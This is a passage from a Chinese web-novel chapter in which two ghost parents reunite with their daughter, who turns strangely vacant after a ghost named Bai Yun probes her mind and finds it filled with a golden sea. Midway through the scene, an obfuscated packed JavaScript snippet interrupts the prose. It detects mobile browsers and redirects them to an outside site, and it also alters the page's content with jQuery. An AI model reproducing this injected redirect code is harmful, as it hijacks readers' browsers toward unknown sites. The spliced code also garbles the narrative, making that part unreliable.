【哎,世间情人多薄凉,不怜不惜终断肠……】
一道孤寂的背影哀婉地诉念着他的伤情,手臂舞动间,袖子簌簌扇动,拿着扫帚扫地,落叶七零八落。
院子是戏台,他就是那个卖唱的,还有一个在鬼梨树下躺椅躺着的观众。
听到戏言,一颗果子从观众苏观玉手中飞出,眼睛都不用睁开就知道那说话酸不溜秋的男鬼在哪。
【别叨叨,继续干活,不许用鬼术偷懒!】
【嗷!】
精准击中齐斌的脑袋,扫帚啪嗒落地。
揉着后脑勺龇牙咧嘴,【夫人,为夫被重创了,需要休息……】
大吐苦水,每个音调都在鬼意想不到的地方发光发热,投射出长长的拖尾。
苏观玉这才睁开眼,倚着头转向齐斌,凉凉地打量着自家老鬼,几十年都是这副臭德行。
明知他是装的,还是舒出一口气:
【算了,饶你一马。】
齐斌立马站直了身子,面上哪还有半分苦相,乐呵呵地拱手:
【谢夫人宽恕。】
历时数日,总算秋后的账也还清了,可喜可贺。
面上端得一副得了便宜还卖乖的矜持。
苏观玉翻了个白眼,悄声嘀咕:【回回如此,回回不重样。】
嘴角带出一抹笑。
这话一听就知道是对他的夸赞,齐斌骄傲地下巴微抬,正要再说两句逗老婆开心,突然,心有所觉,苏观玉也是如此。
两鬼双双看向门外。
一道熟悉的鬼气气息由远及近,悠悠飘来,主人状态很放松,并未想着收敛。
两鬼惊喜对上了眼。
苏观玉蹭地站起身走到齐斌旁边,惊喜道:
【是阿云!】
齐斌眯了眯眼睛,偏头感知片刻,神色有些变化,慢慢来到门口:
【不对,阿云身边好像还有一个?】
【诶?好像是欸。】
苏观玉蹑手蹑脚凑到门边,挤开老齐,悄咪咪拉开一道缝,一只眼透出去瞧了瞧,压低的嗓音猝然拔高一调:
【诶!是个小姑娘?】
苏观玉惊了,不敢置信地仰头,正对上与齐斌同样惊诧异的目光。
同时冒出一个念头,心里隐隐升起一丝期待和兴奋:
白云那小子有女朋友了?
夫妻两鬼一上一下扒着门沿,脑袋挤挤挨挨,争相去瞧那女孩。
看清女孩真容,齐斌摸了摸眼皮,嚯,这眉眼,这鼻根,和他还挺像哈。
苏观玉摸了摸脸,嘿,和她一样的鹅蛋脸。
同步感慨:
【好巧啊!】
巧?
脑部神经一抖,巧巧!
苏观玉猛地一拍齐斌,力道打得差点让老鬼以头抢地!
【什么像啊,这分明就是女儿!】
猛地拉开门,不管失去支点摇摇欲坠的老齐是如何摇晃两下险些栽倒,踩着布鞋,健步如飞地冲到白云和齐巧巧面前。
双臂一伸!
将少女抱了个严严实实,白云自觉退居一旁。
快到齐巧巧半分反应未及,被箍进怀的刹那,肩膀是僵硬的,脚钉在原地,纹丝不动。
冰凉,陌生。
双手悬在半空,手指微微蜷缩,又松开,仿佛第一次认识这个怀抱,第一次认识这个人的气息。
女鬼的声音在耳畔响起,欢喜又哀切,低低地,颤着音不敢确认:
【巧,巧巧……是你吗?】
齐巧巧轻轻将下巴搁在女鬼肩头,突觉空了六年的灵魂,找到了归处。
正欲开口,嘴张一半:
“是……”
弦,断了。
就在这一刻,有什么东西一抖,散去了。
心里的声音旋即停止,胸口大石搬移,僵硬的躯体一寸寸软化。
少女眨了眨眼,懵懂带着丝呆板,仿若初生幼鸟缓缓试探,抱住苏观玉的后背。
似是不习惯,迟疑地唤出这于现在的她而言未知难言的称呼:
“……妈、妈?”
旁边的白云眉头一动。
奇怪,她身上的香味,没了。
那股让鬼垂涎欲滴的危险气息,消失了。
视线在母女身上来回游移,犹疑。
一声妈入耳,苏观玉哭了,没有眼泪,只有干嚎。
撕心裂肺:
【我的女儿啊!我可怜的女儿,才六年,你才二十不到,怎么也死了啊!】
这话一出,在场的鬼大脑宕机。
身体发颤,齐巧巧怯生生地攥紧苏观玉后背的衣服,也茫然地被带着一起抖,大脑一片空白,只剩下本能的依赖。
发生了什么,她为什么要叫?
耳朵有点疼。
反应过来的齐斌见状,后脚赶到,着急忙慌地将母女分开,带着心疼和无奈:
【哎哟,老婆你先别激动,女儿要被你晃晕喽!】
【啊?】
干嚎暂停,苏观玉顾不得伤感,托起女儿的脸左左右右,翻来覆去地检查,紧张兮兮地问:
【巧巧,有没有哪里不舒服?不舒服和妈说。】
顺从地任其揉捏体检,齐巧巧慢了半拍,卡壳地一顿一顿,像生锈了的零件,忘记刷层油保养。
咧开嘴,露出海懒式笑容:
“哈~哈~我、没事,妈、妈。”
她说她叫妈妈,她记住了,她第一眼就喜欢这个叫妈妈的人。
妈妈身边穿着老头背心的褶子笑男人她也喜欢。
她旁边装装的臭脸男不喜欢。
笑容很真诚,卡顿也很有节奏感,但这和唱歌不是一回事,少女就跟生生被抽去了七分颜色,只剩下黑白灰一般。
哪哪都不对!
在场三鬼俱都怔住,齐苏夫妻动作凝滞,惊愕又不安地转向白云,眼中带出急切和隐隐的恐慌:
【这是,巧巧怎么了?】
白云亦是不知。
他很确定上一秒还好好的,思路清晰,头脑清明,设下的陷阱层出不穷,小心思一套一套的,怎么会突然成痴儿了?
联想到方才莫名的气息消失,心中警铃一响,快步上前,食指探出点在齐巧巧的额头。
一缕细若毫毛的鬼气携带部分他的灵识,没入。
‘白云’出现在识海,睁眼,瞳孔骤缩!
识海辽阔,未见女孩魂魄,唯有胀满的金灿灿汪洋,填满了视野的每一个角落。
重叠交织的气流,霞光万丈,气旋如星云旋转,在外来者闯入的瞬间竟似化成水母拢起伞盖,收缩、膨胀,拖着长长的光带触须,蓄势待发。
只为在下一瞬间迸发,将入侵者吞没!
[
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17548640|204259||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不好!]
‘白云’认出这是什么后,毛骨悚然,甚至来不及细想,不敢有丝毫停留,在攻击铺天盖地抵达前退了出去。
灵识消失,汪洋归于宁静。
海底,一座冰棺静静伫立,棺中少女闭目沉睡,双手交叠附于胸前,掌心下点点鎏金微闪。
海面之上,倘若男鬼再多停留一息,便能看到他所站的位置慢悠悠地飘出一片灰白散着碎光的团,转悠两圈,才向汪洋内沉去。
一点点拉近与冰棺的距离。
睁眼的刹那,白云惊魂未定,骇然地盯着歪头对自己傻笑的女孩,心神俱震。
那满屏的金色,竟是……!
一种可怕的猜想萦绕心头,不敢深思。
他不敢。
两旁等待的齐斌和苏观玉见白云脸色难看,青一阵白一阵,还半天不说话,就活像面对摇头叹气的医生,下一秒就要告诉你该吃吃该喝喝,该准备什么准备什么的话来!
吓死个鬼!
齐斌忍不住拍上白云的肩头,将他叫醒:
【白云,阿云啊,你说句话啊,巧巧到底怎么了?】
白云陡然偏头,仿若才从噩梦中惊醒,眼珠艰难地转动了一下,看向齐斌。
扯了扯嘴角,【……巧巧她情况有些复杂,我进入她的识海,尚未发现她的……异常。】
苏观玉一听,不敢置信地拉住齐巧巧的胳膊,在她脸上看了又看,还是那一脸迟钝的表情,眼里缺少灵动的光,看自己瞧她便是呵呵露牙地傻笑!
这副模样没有任何异常她打死都不会信!
【阿云你别唬我,怎么可能没有问题,巧巧都成这副傻样了!肯定有大问题,要么脑子坏了,要么缺斤少两!】
当即就要自己伸手去查!
眼见食指就要探入额间,白云急得闪电般出手打断苏观玉的动作,肃声制止:
【不可!】
【为何?这都火烧眉毛了!】
苏观玉收住指尖鬼气,急躁又不解,看向白云的眼里写满了疑问。
你拦我做什么?
吞咽下所有的不可说,余光瞥见专心低头玩自己头发丝的女孩,白云太阳穴突突地跳着疼。
不能直言鬼进去就是送死,也不能让任何鬼发现女孩识海内的情况。
女孩会死。
他该拿她怎么办?
头疼得要死。
随即发现自己本就是鬼,已经死了。
揉了揉眉心,轻叹,只能道出另一个危险级略低一层的秘密来遮掩:
【先进去再说,她的身体不能接受太多鬼气。】
女孩至多留一个月,夫妻早晚也要知道。
倒也不用全然瞎编,白云眼神越过齐苏夫妻,落在院门上,意思就是此处不是说话的地方。
齐斌和苏观玉对视一眼,眼眸中都倒映着彼此的凝重,直觉白云后面的话很重要,坚定地点了点头。
将目光投注在白云身上。
……
院内石桌边围起屏障,齐苏夫妻外加中间被塞了一根梨花枝条的齐巧巧,三堂会审,对白云投以注目礼。
【现在可以说了。】
长痛不如短痛,早点知道还要分离对夫妻俩来说更好。
白云眼帘下移半分,拂开女孩的枝条逗弄,低声道:
【齐巧巧她,还是人。】